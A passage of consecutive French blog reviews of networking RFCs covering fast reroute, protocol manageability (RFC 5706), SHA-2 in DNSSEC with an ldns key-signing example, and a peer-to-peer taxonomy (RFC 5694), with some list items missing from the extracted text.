La section 4 du RFC analyse le problème. D'où vient le délai avant que la route alternative soit utilisable ? Il y a plusieurs sources de retard :
Hello
d'OSPF),
alors, des durées de plusieurs dizaines de secondes sont
possibles.Toutes ces opérations n'étant pas instantanées et devant être effectuées par plusieurs routeurs, le réseau sera dans un état incohérent pendant un moment et on verra des micro-boucles temporaires se former (une micro-boucle est le ping-pong entre deux routeurs, chacun croyant que l'autre est la meilleure route, cf. RFC 5715).
Quels sont les mécanismes disponibles pour faire mieux ? La section 5 les expose. Pour la détection de la panne (section 5.1), l'aide du matériel est bien pratique : si la fibre est coupée, la disparition de la lumière indique le problème immédiatement. Mais il existe aussi des protocoles indépendants du protocole de routage, et dédiés à la détection de pannes, comme BFD.
Pour réparer la panne, l'idée de base est de pré-calculer les chemins alternatifs, ce qui permettra de les installer rapidement (section 5.2). La plupart des pannes devraient pouvoir être réparées avec les techniques du RFC 5286, qui ne nécessitent pas de marquage spécial des paquets IP. Pour les autres, des techniques plus avancées sont nécessaires comme le calcul et le stockage à l'avance de plusieurs FIB dans les routeurs, combinés avec un mécanisme de signalisation permettant d'indiquer que le paquet doit prendre la route de secours. Des mécanismes reposant sur un routage explicite, par exemple avec des tunnels, sont également possibles.
Au fait, j'ai utilisé des termes vagues comme « la plupart ». Peut-on les quantifier ? La section 5.2.2 analyse le succès de chaque mécanisme en fonction de la topologie.
Enfin, pour la prévention des micro-boucles, la section 5.3 renvoie au RFC 5715 qui liste les possibilités.
Date de publication du RFC : Novembre 2009
Auteur(s) du RFC : D. Harrington (Huwaei / Symantec)
Pour information
Première rédaction de cet article le 8 décembre 2009
Ce n'est pas tout de normaliser des protocoles. Pour qu'ils ne rendent pas la vie impossible aux administrateurs réseaux, il faut encore qu'ils soient faciles à administrer. Cela peut être plus facile si ces questions opérationnelles ont été prises en compte dès le début. Ce RFC 5706 demande donc que tout nouveau protocole fait à l'IETF reçoive, dès le début, une sérieuse attention pour ses problèmes de gestion. Le faire a posteriori est en effet souvent moins efficace.
Ce RFC est essentiellement composé d'une liste de recommandations (très détaillées) aux auteurs de nouveaux protocoles, expliquant les étapes qu'ils doivent suivre pour que leur protocole soit « gérable ». Cette liste est résumé dans l'annexe A, qu'il suffit normalement de suivre pas-à-pas pour que le protocole soit complet.
La section 1.1 resitue la question : cela fait longtemps que l'IETF demande aux auteurs de protocole de prévoir les mécanismes de gestion pratique dès le début. Un cadre existe pour cela, autour du SMI (modèle décrivant les variables du protocole) du RFC 2578 (et du protocole qui lui est le plus souvent associé, SNMP ; voir le RFC 3410). Mais ce modèle est trop étroit et ne couvre pas l'intégralité de ce qu'il faut savoir pour le déploiement et l'administration d'un protocole. Sans aller jusqu'à formellement imposer une section Management Considerations dans les RFC (comme il existe une Security Considerations obligatoire), notre RFC 5706 demande une attention sérieuse portée, dès le début, aux questions de gestion et d'opération des réseaux.
La différence entre « gestion » (management) et « opération » (operation) est décrite en section 1.2. Les opérations, c'est faire fonctionner le réseau, même sans mécanisme de gestion. La gestion, c'est utiliser des mécanismes qui ont été créés dans le but d'améliorer les opérations.
Contrairement à l'idée dominante à l'IETF depuis quinze ans, et
depuis les grandes luttes entre SNMP et
CMIP, il n'est plus envisagé (section 1.3) d'atteindre le
Graal du mécanisme unique. Toutes les solutions
sont désormais acceptables, pourvu qu'elles marchent. (Parmi les
échecs du SMI, on peut noter celui décrit par le RFC 3197. Aujourd'hui encore, les serveurs DNS sont gérés par des
mécanismes non-standard comme la commande rndc
de
BIND.)
Le RFC 5706 va donc donner des lignes directrices et des conseils, plutôt que des obligations. C'est donc un assouplissement par rapport à l'ancienne politique de l'IESG qui exigeait une MIB (description des variables en suivant le SMI) pour tout protocole, au grand désespoir de certains auteurs.
Les sections 1.4 et 1.5 rappellent l'histoire tourmentée des mécanismes de gestion des réseaux TCP/IP. Par exemple, une date importante avait été le RFC 1052 en 1988, qui séparait le langage de modélisation (celui qui sert à écrire la MIB) du protocole d'accès aux données (aujourd'hui SNMP). Une autre avait été le RFC 3139 en 2001, qui listait les obligations d'un mécanisme de gestion. Le RFC 3535 en 2003, faisait le bilan des mécanismes utilisés et critiquait notamment la dépendance vis-à-vis d'un format binaire, celui de SNMP.
La première grande section de notre RFC 5706 est donc la section 2, consacrée aux opérations : comment le nouveau protocole va t-il fonctionner ? Il ne suffit pas pour cela que le protocole soit lui-même bien conçu. Il doit aussi s'insérer dans l'environnement humain et technique existant. Ses concepteurs doivent donc réflechir au débogage, à la configuration, à la mise à jour depuis une précédente version...
Comme exemple de mauvaise interaction avec l'existant, le RFC cite l'exemple du damping de BGP (RFC 2439). Lorsqu'une route annoncée en BGP change trop souvent, les routeurs BGP commencent à ignorer cette route. Mais cette technique n'avait pas pris en compte l'interaction avec d'autres techniques comme la path exploration et avait donc créé autant de problèmes qu'elle en avait résolu, menant certains administrateurs à couper le damping.
Avant même que le protocole ne fonctionne, il faut le configurer. C'est le but de la section 2.2 qui commence en rappelant un sage principe du RFC 1958 : « tout ce qui peut être configuré peut être mal configuré ». Ce RFC (et son lointain successeur, le RFC 5505) recommandait de préférer les configurations automatiques. Pour les cas où une valeur par défaut a un sens, il faut éviter toute configuration (mais permettre de connaitre les valeurs effectivement configurées).
Parfois, il y avait déjà une version plus ancienne du protocole qui tournait (ou bien un ancien protocole jouant le même rôle). La norme doit alors prévoir un mécanisme de migration, dit la section 2.3. D'autres principes de ce genre forment le reste de la section 2.
La section 3, elle, s'occupe de la gestion de réseaux. Il ne s'agit plus uniquement de faire marcher le réseau, il faut encore le faire marcher bien. Cela passe par l'identification des entités à gérer, puis de la méthode à utiliser. L'ancienne approche qui répondait à toutes ses questions par « il faut écrire une MIB » a montré ses limites. Un ensemble de variables n'est pas un protocole, d'autant plus qu'elle ne concerne en général qu'une des deux extrémités de la communication. Comme le dit le RFC 3535, « une MIB est souvent une liste d'ingrédients sans une recette ». L'introduction de la section 3 donne des pistes pour améliorer les choses.
Un des credos principaux de l'IETF est l'interopérabilité, couverte dans la section 3.1. Appliquée à la gestion du réseau, l'interopérabilité veut dire qu'on devrait pouvoir choisir librement le programme utilisé pour gérer un équipement, et l'utiliser quel que soit l'équipement réseau qu'on gère. Cela implique un protocole standard de gestion.
Beaucoup d'équipements réseau peuvent être gérés via une page Web (elle-même souvent très peu standard, avec abus de fonctions qui ne marchent que sur certains navigateurs, même si le RFC ne mentionne pas ce point), ou parfois via la ligne de commande. Mais cela ne suffit pas. Si on gère des dizaines d'équipements différents, ce qui est courant dans un réseau de taille moyenne, la complexité devient vite unsupportable. Pour que la gestion du réseau soit simplifiée et soit automatisable, une normalisation de ces interfaces est nécessaire.
Historiquement, tout le monde était d'accord sur le papier avec une telle approche. Mais, en pratique, ces interfaces, même celles en ligne de commande, plus faciles à spécifier, n'ont jamais été standardisées. L'IETF n'a pas aidé, en se focalisant sur un seul schéma de données (le SMIv2 du RFC 2578) et un seul protocole (SNMP, du RFC 3410). Ces mécanismes ne convenaient pas à tous et les « autres » interfaces, ignorées de l'IETF, étaient développées mais sans norme unificatrice. Désormais, l'IETF a une vision plus ouverte, et considère d'autres langages de schéma (comme les W3C Schema) ou d'autres protocoles (comme Netconf, dans le RFC 6241, ou syslog, dans le RFC 5424).
La normalisation est plus facile à dire qu'à faire. Normaliser au niveau de la syntaxe est déjà délicat mais, idéalement, il faudrait aussi normaliser la sémantique, pour qu'un même nom décrive bien le même concept partout. Cela impose de développer des modèles, aussi bien des modèles d'information que des modèles de données. (La différence est expliquée dans le RFC 3444 et la section 3.2 couvre les modèles d'information.)
Un protocole ne fonctionne jamais sans pannes. La très riche section 3.3 se
penche sur la gestion des pannes. Bien sûr, les mécanismes de gestion
du réseau ne vont pas réparer la panne tout seuls. Mais ils peuvent
aider à la diagnostiquer. Par exemple, tout protocole devrait avoir
un mécanisme de détection de la vie d'un élément du réseau, pour
pouvoir répondre à la question simple « Est-il encore en
marche ? ». C'est le but de protocoles aussi variés que
l'ICMP echo du RFC 792, du protocole echo de
TCP ou
UDP (RFC 862, mis en œuvre dans des programmes comme echoping et
malheureusement presque abandonné aujourd'hui), les appels
NULL
dans Sun-RPC (section
11.1 du RFC 1831),
etc.
Dans un ordre surprenant, la section 3 passe ensuite à la gestion de la configuration (sous-section 3.4). Quels paramètres de configuration, lesquels survivent au redémarrage, que dit le RFC 3139, etc. Cette section, comme le reste du RFC, est trés détaillée, abordant même le problème de l'internationalisation (et, oui, il faut permettre l'UTF-8 dans les fichiers de configuration). D'autre part, le RFC demande également qu'on puisse vérifier la configuration avant de la charger dans l'équipement réseau, pour éviter de laisser celui-ci dans un état invalide, voire de gêner le bon fonctionnement du réseau.
Pour beaucoup d'opérateurs, notamment dans les réseaux traditionnels de téléphonie, il n'y a pas de gestion de réseau sans comptabilisation du trafic. C'est le sujet de la section 3.5, qui renvoie au RFC 2975, et qui dit bien que la comptabilisation n'est nullement obligatoire, qu'elle doit faire l'objet d'un choix réfléchi.
Plus importante est la gestion des performances : tout le monde veut que le réseau aille vite. Pour cela, le point de départ (section 3.6) est de mesurer les performances, pour déterminer, par exemple, si un changement les améliore ou bien les dégrade. Deux groupes de travail de l'IETF se consacrent à ce sujet, BMWG pour les mesures en laboratoire et IPPM pour celles dans la nature.
La sécurité est un gros sujet en soi, lors de la configuration d'un système, et est traitée dans la section 3.7. Par exemple, un nouveau protocole devrait comporter une analyse des menaces et des solutions possibles. Certains protocoles prévus pour la gestion de réseau ont une utilisation directe en sécurité. Par exemple, les traps SNMP et syslog sont couramment utilisés pour alerter les administrateurs sur des phénomènes qui peuvent être une attaque.
Une fois les problèmes des opérations (section 2) et de la gestion (section 3) ainsi décrits, qu'en faire, lorsqu'on définit un nouveau protocole ? Documenter, dit la section 4. Il devrait idéalement y avoir une section Manageability Considerations dans les RFC, juste avant les Security Considerations, et contenant les informations essentielles pour ceux qui auront à opérer et à gérer le nouveau protocole. Si le ou les concepteur(s) du protocole estiment que cette section n'a pas lieu d'être pour leur création, alors ils devraient l'indiquer explicitement (ce qui garantit que l'absence d'une Manageability Considerations n'est pas un oubli). Le premier RFC à avoir suivi cette règle (avant même qu'elle soit formalisée) est apparemment le RFC 5440 (dans sa section 8).
Date de publication du RFC : Octobre 2009
Auteur(s) du RFC : J. Jansen (NLnet Labs)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 28 octobre 2009
Dernière mise à jour le 28 juin 2010
La cryptanalyse progresse sans cesse et, comme aiment le répéter les experts, « Les attaques ne deviennent jamais pires, elles ne font que s'améliorer ». Les menaces contre la fonction de hachage SHA-1 devenant de plus en plus précises, cet algorithme est petit à petit remplacé par la famille SHA-2. Ce RFC 5702 spécifie ce futur remplacement pour le protocole DNSSEC.
Normalisé dans le RFC 4033 et suivants, DNSSEC, qui vise à garantir l'authenticité des ressources DNS par le biais d'une signature numérique, n'est pas lié à un algorithme particulier. Aussi bien l'algorithme asymétrique utilisé pour les signatures que celui de hachage qui sert à créer un condensat des données à signer ne sont pas fixés en dur dans le protocole. SHA-1 avait été spécifié dans le RFC 3110. Un registre IANA des algorithmes possibles existe et notre RFC 5702 marque l'entrée de la famille SHA-2 dans ce registre.
Il n'est pas évident de savoir si SHA-1 est vraiment vulnérable dès aujourd'hui. Plusieurs attaques ont été publiées dans la littérature ouverte (et il y en a donc sans doute bien d'autres, gardées secrètes) mais elles ne semblent pas facilement exploitables, surtout dans le cas de l'utilisation particulière qu'en fait DNSSEC. Néanmoins, le remplacement de SHA-1 était une nécessité, compte-tenu du fait que les attaques ne peuvent que s'améliorer (voir la section 8 pour un exposé plus détaillé), et parce qu'un tel remplacement prend du temps (par exemple, l'élaboration de ce RFC a été très longue).
Le remplaçant, SHA-2, décrit dans la norme FIPS 180-3 de 2008, n'est pas vraiment un algorithme unique mais une famille d'algorithmes. DNSSEC n'en retient que deux, SHA-256 (code 8) et SHA-512 (code 10). Voir la section 1 du RFC pour ces rappels.
SHA-2 est utilisable dans les enregistrements de type
DNSKEY
(clés cryptographiques distribuées par le
domaine) et RRSIG
(signature
cryptographiques). Le RFC 4034 décrit tous ces
types d'enregistrement.
La section 2 décrit les enregistrements DNSKEY. Comme la clé
publique ne dépend pas de l'algorithme de hachage utilisé
ultérieurement, on pourrait penser qu'ils ne sont pas modifiés. Mais
il est important d'indiquer au résolveur cet algorithme de hachage car
tous les résolveurs ne connaissent pas SHA-2 du jour au lendemain. Il
faut donc qu'ils sachent tout de suite, en examinant la clé, s'ils
pourront valider la zone ou pas. (Sinon, ils considéreront la zone
comme étant non signée.) Les DNSKEY
avec RSA + SHA-256 sont donc
stockés avec le même format qu'avant, mais avec le numéro d'algorithme
8. Les DNSKEY avec RSA + SHA-512 auront, eux, le numéro
d'algorithme 10.
Les signatures (enregistrements RRSIG
) sont,
elles, plus largement modifiées. La section 3 décrit ces
modifications. Elle indique la représentation à suivre pour les
RRSIG
, suivant le standard
PKCS #1 (RFC 3447).
Les signatures faites avec RSA + SHA-256 seront stockées avec le numéro d'algorithme 8 et leur codage aura un préfixe spécifique, pour les distinguer des signatures faites avec d'autres fonctions (section 3.1). Idem pour celles faites avec RSA + SHA-512 (section 3.2).
Et les problèmes pratiques du déploiement ? Pas de panique, ils sont dans la section 4. La taille des clés elle-mêmes n'est pas couverte (section 4.1) mais déferrée aux recommendations du NIST. La taille des signatures dépend de celle de la clé, pas de l'algorithme de hachage et ne changera donc pas (section 4.2).
Quels logiciels peuvent aujourd'hui utiliser ces algorithmes ? Pour
BIND, ce sera à partir de la version 9.7 (actuellement en béta
publique, mais sans SHA-2). Pour ldns, c'est déjà
disponible dans la version actuelle, la 1.6.1 (mais tous les
paquetages binaires de ldns n'ont pas forcément été compilés avec
l'option --enable-sha2
). La section 5 donne
quelques détails pour les programmeurs, notamment sur la raison pour
laquelle il n'y a plus de version spécifique à NSEC3 (section 5.2 et
RFC 5155).
Voici un exemple d'utilisation du programme
ldns-keygen
(livré avec ldns) pour générer des
clés utilisant SHA-256 pour la zone vachement-secure.example
:
% ldns-keygen -a RSASHA256 vachement-secure.example Kvachement-secure.example.+008+23094 % cat Kvachement-secure.example.+008+23094.key vachement-secure.example. 3600 IN DNSKEY 256 3 8 \ AwEAAc87fkhQ3RehZ9AWUtataphm6Ku+DLKgtUPp/Zi0mwhtDN36oWBhzUt5a82Zeat4zsbC6WjIDWWqOx33cWh3ISMKDK0cOu1kMRCZTXS98WoSA0TgfMBdGdaK/Z+yLX+COq8HL72gBDG/RuDqIOwdtCBhbDluIwafzPAw3l2rIEiR \ ;{id = 23094 (zsk), size = 1024b}
Et lorsqu'on la signe :
% ldns-signzone vachement-secure.example.zone Kvachement-secure.example.+008+23094 % cat vachement-secure.example.zone.signed ... . 3600 IN SOA localhost. root.localhost. 1 604800 86400 2419200 604800 . 3600 IN RRSIG SOA 8 0 3600 \ 20091125150944 20091028150944 23094 . nvIldICQaBpHR/Fn264gL 7bl5RCzzM6h3S5o6k/yq9cFRhYpOO4FQGfozP2q8A7whoHfymCg1D6harOt7b0ffO+TA1iBddpF1DJLQ/DKPhfS2REqXbXjpveU3uQNK g0jOdj7G6hrSQl9wXg3Co5yL84jG33oSlDWQM9QhKUyAUk= \ ;{id = 23094}
Comme il y a déjà eu des attaques de cryptanalyse contre SHA-1 publiées, la section 8, qui synthétise les questions de sécurité, recommande donc d'utiliser SHA-2 pour les futurs déploiement de DNSSEC.
Enfin, la section 8.2 explique pourquoi SHA-2 n'est pas vulnérable aux attaques par repli : si une zone a deux clés, utilisant SHA-1 et SHA-2, un méchant ne peut pas forcer l'utilisation de l'algorithme le plus faible car les enregistrements DNSSEC doivent être signés avec toutes les clés présentes.
Si on veut voir des signatures en vrai, la racine, et des TLD comme
.pm
sont signés (au 28 juin 2010) avec
SHA-256, tandis que .cat
est signé avec SHA-512. Sinon, on peut trouver des exemples de
DNSKEY
et de RRSIG
utilisant
SHA-2 dans la section 6 du RFC, ou bien les générer soi-même comme dans l'exemple ci-dessus.
Date de publication du RFC : Novembre 2009
Auteur(s) du RFC : G. Camarillo
Pour information
Première rédaction de cet article le 24 novembre 2009
Il existe un très grand nombre de systèmes pair-à-pair et leur succès est un témoignage de la capacité de l'Internet à accepter des applications complètement imprévues à l'origine. Cette variété est telle qu'il est difficile de s'y retrouver, par exemple pour d'éventuels travaux de normalisation sur les protocoles pair-à-pair. D'où ce document de l'IAB, qui définit ce qu'est un système pair-à-pair, et propose une taxonomie de ceux-ci. Ce RFC propose également des méthodes pour analyser si un système pair-à-pair est adapté à un problème donné.
Pourtant, on ne manque pas de textes sur les systèmes pair-à-pair. Il y a eu de très nombreuses publications scientifiques, plusieurs conférences uniquement consacrées à ce sujet, et un groupe de travail de l'IRTF lui est entièrement voué. Et, bien sûr, il existe de nombreuses applications pair-à-pair, certaines avec un code source disponible, et parmi lesquelles se trouvent des applications parmi les plus populaires sur l'Internet.
Mais il n'existe pas encore de compréhension commune de ce qu'est le pair-à-pair et, pire, beaucoup de gens, de bonne ou de mauvaise foi, assimilent « pair-à-pair » aux seules activités illégales de transfert de fichiers (section 1 du RFC).
Le but de de document est donc d'aider à la construction de cette compréhension commune et de montrer que le pair-à-pair est largement utilisé pour des activités tout à fait légitimes.
La section 2 du RFC s'attaque à la définition du pair-à-pair. Il existe plusieurs définitions, qui ne sont pas forcément équivalentes, d'autant plus que le marketing s'en mêle et que « pair-à-pair » est souvent un terme vendeur. En outre, la section 2 prévient aussi que certains systèmes souvent qualifiés de « pair-à-pair » ne correspondront que partiellement à cette définition et ne pourront donc pas être considérés comme complètement « pair-à-pair ». Ce n'est pas forcément un défaut : le but est de bâtir le meilleur système possible, pas de coller à la définition du « pair-à-pair ». Bien des systèmes réussis sont « mixtes », mélangeant « pair-à-pair » et « centralisé ».
La définition de ce RFC 5694 est donc : « Est pair-à-pair un système où les éléments qui le composent partagent leurs ressources pour fournir le service pour lequel le système est prévu. Chaque élément du système fournit des services et en reçoit. » En théorie, cette définition impose que tous les éléments partagent leurs ressources mais, en pratique, il existe des systèmes où certains éléments sont des clients purs, ne fournissant aucune ressource. Le RFC considère qu'un système où les clients seraient nettement plus nombreux que les pairs ne serait pas réellement pair-à-pair. Par contre, le RFC note explicitement que le fait que certaines parties du système soient centralisées ne l'empêche pas d'être pair-à-pair. L'exemple cité est celui d'un système où il y aurait un serveur central pour enregistrer les nouveaux pairs. Un tel système serait pair-à-pair, selon la définition proposée.
On peut ensuite faire varier cette définition à l'infini, en ajoutant que les pairs doivent participer à des transactions qui ne leur bénéficient pas directement, ou que les pairs doivent pouvoir communiquer sans passage par un intermédiaire, ou que le contrôle doit être entièrement distribué (sans aucun serveur central, contrairement à ce qu'accepte la définition du RFC 5694).
Il est d'autant plus difficile de classer les systèmes pair-à-pair que beaucoup sont composites, faits de plusieurs services, pas forcément pair-à-pairs. Ainsi, si j'utilise un moteur de recherche BitTorrent accessible par le Web, comme btjunkie, pour récupérer ensuite un fichier avec le protocole BitTorrent, suis-je en pair-à-pair ou pas, le Web étant client/serveur ?
Notre définition étant posée, le reste de la section 2 va l'appliquer à divers systèmes existants, pour voir s'ils peuvent être considérés pair-à-pair ou pas.
La section 2.1 commence ces applications avec le DNS. Les résolveurs DNS étant des clients purs, qui ne fournissent aucun service, le DNS ne peut pas être considéré comme pair-à-pair selon la définition de notre RFC.
Et SIP (RFC 3261) ? La section 2.2 en rappelle les principes, notamment le fait que les user agents sont à la fois client et serveurs. Mais un user agent ne participe qu'aux transactions qui ont un intérêt pour lui (parce qu'il appelle ou bien qu'il est appelé) et le SIP traditionnel ne peut pas être considéré comme pair-à-pair. En revanche, P2PSIP, décrit en section 2.3, est différent : les user agents ne s'enregistrent plus auprès d'un serveur mais entre eux et la fonction de rendez-vous nécessite donc la participation d'autres pairs, qui n'y tirent pas de bénéfice personnel. P2PSIP est donc bien pair-à-pair.
L'un des protocoles pair-à-pair les plus connus est BitTorrent. La section 2.4 examine son cas. Comme un pair BitTorrent, non seulement récupère des fichiers pour son usage personnel, mais en outre en envoie à d'autres, sans que cela ne présente d'interêt pour eux, BitTorrent est bien pair-à-pair. Toutefois, le monde réel est toujours plus compliqué que cela et le RFC note que, si la majorité de l'essaim (l'ensemble des pairs), est composée de pairs ayant récupéré tous leurs fichiers et ne faisant plus que les distribuer (des seeders dans la terminologie BitTorrent), alors, l'essaim ne fonctionne plus vraiment en pair-à-pair.
Après ces études de cas, le RFC se penche, dans sa section 3, sur les fonctions qu'il faut assurer pour qu'un système pair-à-pair fonctionne. Au minimum, et quel que soit le service fourni par ce système, il faut assurer :
Dans certains systèmes pair-à-pairs (par exemple eDonkey), ces fonctions sont centralisées. Un serveur de recrutement (dit parfois bootstrap server) est contacté par les nouveaux venus, et il peut, après les avoir autorisés, les mettre en contact avec les autres pairs. Ce serveur est évidemment un point vulnérable du réseau mais notre RFC 5694 ne considère pas que son existence empêche le système d'être authentiquement pair-à-pair. En effet, les fonctions considérées comme significatives sont celles qui ont un rapport direct avec le service fourni.
À noter que ces fonctions peuvent avoir été programmées une fois pour toutes dans un ensemble logiciel qui sert de base pour la construction d'un système pair-à-pair (cf. section 5.4). C'est le cas par exemple de JXTA.
Celles-ci dépendent du service et ne sont donc pas présentes systématiquement. On trouve parmi elles :
Il reste à classer les différents systèmes pair-à-pair. La section de taxonomie est la numéro 4. Le problème n'est pas simple puisqu'il existe déjà plusieurs classifications incompatibles des systèmes pair-à-pair. Pire, le vocabulaire n'est même pas identique entre les auteurs (par exemple pour des termes comme « première génération » ou « deuxième génération »). Notre RFC propose de partir de la fonction d'indexation. Un index peut être centralisé, local ou distribué (cf. RFC 4981). Dans le premier cas, une seule machine garde trace de toutes les données (Napster fonctionnait ainsi). Dans le second, chaque machine se souvient des données qui l'intéressent (les premières versions de Gnutella fonctionnaient ainsi). Avec un index distribué, les références aux données se trouvent sur plusieurs machines. Les DHT sont un bon exemple d'un tel système.
On peut aussi classer les index entre ceux avec ou sans sémantique. Les premiers contiennent des informations sur les relations entre les données et les métadonnées mais pas les seconds. Les index avec sémantique permettent donc des recherches plus riches mais ne trouvent pas forcément toutes les données présentes.
D'autres auteurs ont classé les systèmes pair-à-pair entre systèmes hybrides (pas complètement pair-à-pair, par exemple parce qu'ils ont un index centralisé) et purs. Les systèmes purement pair-à-pair peuvent continuer à fonctionner même quand n'importe laquelle des machines qui les composent est en panne ou arrêtée.
Une autre classification est selon la structure. Les systèmes non structurés sont ceux où un nouveau pair peut se connecter à n'importe quel pair existant. Les systèmes structurés imposent au pair arrivant de ne se connecter qu'à certains pairs bien définis, en fonction de leur identité (c'est par exemple le cas des DHT, où les pairs sont en général organisés en un anneau virtuel dans l'ordre des identificateurs). Mais, là encore, la distinction n'est pas absolue et on trouve, par exemple, des systèmes non structurés où certains pairs ont des rôles particuliers.
Une autre classification qui a eu un relatif succès médiatique est par « génération ». Certains auteurs ont classé les systèmes à index centralisé dans une « première génération du pair-à-pair », ceux à index local dans la seconde génération et ceux utilisant une DHT dans la troisième. Cette classification a plusieurs problèmes, l'un des principaux étant qu'elle laisse entendre que chaque génération est supérieure à la précédente.
Aucune de ces classifications ne prend en compte les fonctions de recrutement et de découverte : un système peut donc être pair-à-pair même si un des ces fonctions, ou les deux, est effectuée par un mécanisme centralisé.
Si on développe des systèmes pair-à-pair, c'est parce qu'ils ont une utilité concrète. La section 5 décrit les principaux domaines d'application des systèmes pair-à-pair. Le plus connu est évidemment la distribution de contenu, qui fait l'objet de la section 5.1. Parfois, ce contenu est composé de fichiers illégalement distribués, par exemple parce que ledit contenu n'est pas encore monté dans le domaine public dans tous les pays. Mais le pair-à-pair va bien au delà des utilisations illégales. La distribution de contenu sur Internet se fait par de nombreux moyens, HTTP, RFC 7230 et FTP, RFC 959 étant les plus traditionnels, et personne ne prétend que HTTP est néfaste parce que du contenu illégal est parfois distribué par HTTP.
Parmi les exemples importants de distribution de contenu légal par le pair-à-pair, il y a les systèmes d'exploitation dont les images ISO sont distribués en BitTorrent (comme Debian ou NetBSD), soulageant ainsi les serveurs de l'organisation, qui n'a pas en général de grands moyens financiers pour leur fournir une capacité réseau suffisante. Il y a aussi les mises à jour de logiciel commerciaux comme World of Warcraft et bien d'autres.
Le gros avantage du pair-à-pair, pour ce genre d'applications, est le passage à l'échelle. Lorsqu'une nouvelle version de NetBSD est publiée, tout le monde la veut en même temps. Un serveur FTP ou HTTP central, même avec l'aide de dix ou vingt miroirs, s'écroulerait sous la charge, tout en restant très sous-utilisé le reste du temps. Au contraire, un protocole comme BitTorrent marche d'autant mieux qu'il y a beaucoup de téléchargeurs (les leechers dans la terminologie BitTorrent). L'effet est équivalent à celui de milliers de miroirs, sans que l'utilisateur n'aie à les choisir explicitement.
Cette question de la sélection du pair d'où on télécharge le fichier est centrale pour l'efficacité d'un système pair-à-pair. L'un des problèmes que pose cette sélection est que les intérêts des différentes parties peuvent être contradictoires. Les utilisateurs veulent le pair le plus rapide, les gérants du système de distribution du contenu voudraient que les pairs possédant les parties les plus rares soient sélectionnés en premier (pour augmenter la fiabilité globale de la distribution), les FAI voudraient que les pairs situés sur leur propre réseau soient privilégiés. Il n'est pas étonnant que la sélection du pair aie été tant discuté au IETF workshop on P2P Infrastructure de 2008 (dont un compte-rendu figure dans le RFC 5594). Le groupe de travail Alto de l'IETF est chargé de travailler sur ce point.
La section 5.1 se termine sur un exemple original, Zebranet, un système de collecte de données sur les zèbres en liberté. Chaque animal porte un collier qui collecte des informations et les transmet aux stations qui se déplacent dans la savane. Mais il arrive souvent qu'un zèbre ne passe jamais près d'une station ! Zebranet permet alors la transmission de données de collier à collier. Chaque zèbre rassemble ainsi les données de plusieurs autres animaux, et le passage d'un seul zèbre près de la station permet de récolter toutes ces données d'un coup. Le RFC note toutefois que Zebranet n'est pas vraiment pair-à-pair puisque le collier ne fait que donner et la station que recevoir.
Une autre utilisation courante du pair-à-pair est le calcul distribué (section 5.2). Une tâche de calcul y est divisée en plusieurs sous-tâches, chacune confiée à une machine différente. Il est général bien moins coûteux d'avoir beaucoup de machines bon marché et relativement lentes plutôt qu'un seul supercalculateur. Contrairement à une grappe, les pairs sont typiquement très éloignés les uns des autres. Il existe aujourd'hui bien des systèmes de calcul distribué (comme Boinc) mais la plupart ne peuvent pas être considérés comme pair-à-pair et seraient mieux qualifiées de « maître-esclave ». En effet, en général, il existe un nœud central, qui décide des calculs à effectuer et les différentes machines lui obéissent, sans tirer elle-mêmes profit du calcul fait (un exemple typique est SETI@home). Tous les systèmes compris sous l'appelation marketing de grille sont dans ce cas.
C'est également la même chose pour l'une des plus grosses applications du calcul distribué, les botnets. Même lorsqu'ils reposent sur une technique pair-à-pair comme Storm, qui dépend d'une DHT, le zombie ne tire pas de profit des actions du botnet, que ce soit l'envoi de spam ou bien la dDoS. Il ne fait qu'obéir aveuglément au C&C (Command and Control Center, la ou les machines qui dirigent le botnet.
La troisième grande catégorie, les applications de collaration, fait l'objet de la section 5.3. Les plus connues de ces applications sont celles de voix sur IP et de messagerie instantanée. Si la conversation elle-même se fait entre deux machines, le rendez-vous initial peut être réalisé en pair-à-pair, comme ce que permet P2PSIP (cf. section 2.3).
Bien, il y a donc de nombreuses applications qui utilisent le pair-à-pair. Mais est-ce à juste titre ? Dans quels domaines le pair-à-pair est-il fort et dans quels domaines vaut-il mieux s'en méfier ? C'est l'objet de la section 6 qui donne des critères d'évaluation des avantages et inconvénients du pair-à-pair. Notre RFC note qu'il n'existe pas de règle simple, la réponse à la question « Vaut-il mieux utiliser le pair-à-pair ? » dépend de beaucoup de choses. Parmi les points importants, le RFC note que les systèmes pair-à-pair sont particulièrement adaptés aux cas où il n'existe pas d'infrastructure existante et où il serait difficile de l'installer, ce qui est le cas des réseaux ad hoc.
Autre point fort du pair-à-pair, le passage à l'échelle. Avec lui, augmenter les ressources du système se fait simplement en ajoutant de nouveaux pairs. Si l'application envisagée doit pouvoir grossir jusqu'à la taille de l'Internet, le pair-à-pair est souvent une option à regarder sérieusement. (En fait, tout n'est pas toujours si simple et la fin d'OpenDHT a montré que le pair-à-pair ne se fait pas forcément tout seul.)
Si on est désireux d'avoir une application fiable (cf. RFC 4981), les systèmes pair-à-pair sont également intéressants. Si chaque pair individuel est en général considéré comme peu fiable, le système complet est conçu pour fonctionner alors même que les pairs individuels arrivent ou repartent du groupe en permanence. Il peut donc être très robuste.
Et les performances ? Il est difficile de dire si le pair-à-pair est plus rapide ou pas, cela dépend de nombreuses choses. Des « pique-assiettes » (free riders), qui profitent du système mais ne lui fournissent rien, peuvent sérieusement dégrader ces performances. D'où la recherche permanente de bons mécanismes d'incitation pour que les pairs ne se conduisent pas en parasites.
Un système pair-à-pair réel doit parfois choisir entre toutes ces caractéristiques. Le RFC cite l'exemple d'une base de données pair-à-pair : si toutes les données sont dupliquées sur tous les pairs, elle serait très robuste face aux pannes et très rapide en lecture. Mais l'arrivée d'un nouveau pair serait très lente parce qu'il devrait commencer par tout recopier. Et les écritures prendraient un temps fou.
Et les questions de sécurité ? Lorsque des tas de machines, parfois placées sous des administrations différentes, travaillent ensemble, ces problèmes de sécurité prennent une autre ampleur. La section 7 leur est consacrée. D'abord, toutes les machines du système sont-elles de confiance ? Certains systèmes pair-à-pair n'enrôlent pas n'importe qui mais uniquement des machines appartenant à la même entité. Dans ces conditions, le problème est plus facile à résoudre. Par contre, avec un système pair-à-pair ouvert à tout l'Internet, que n'importe quelle machine peut joindre quand elle veut, le problème devient un défi...
Dans tous les cas, la liste des problèmes de sécurité potentiels posés par les systèmes pair-à-pair est longue. Par exemple :
Date de publication du RFC : Octobre 2009
Auteur(s) du RFC : J. Seedorf (NEC), E. Burger (Neustar)
Pour information
Réalisé dans le cadre du groupe de travail IETF alto
Première rédaction de cet article le 28 octobre 2009
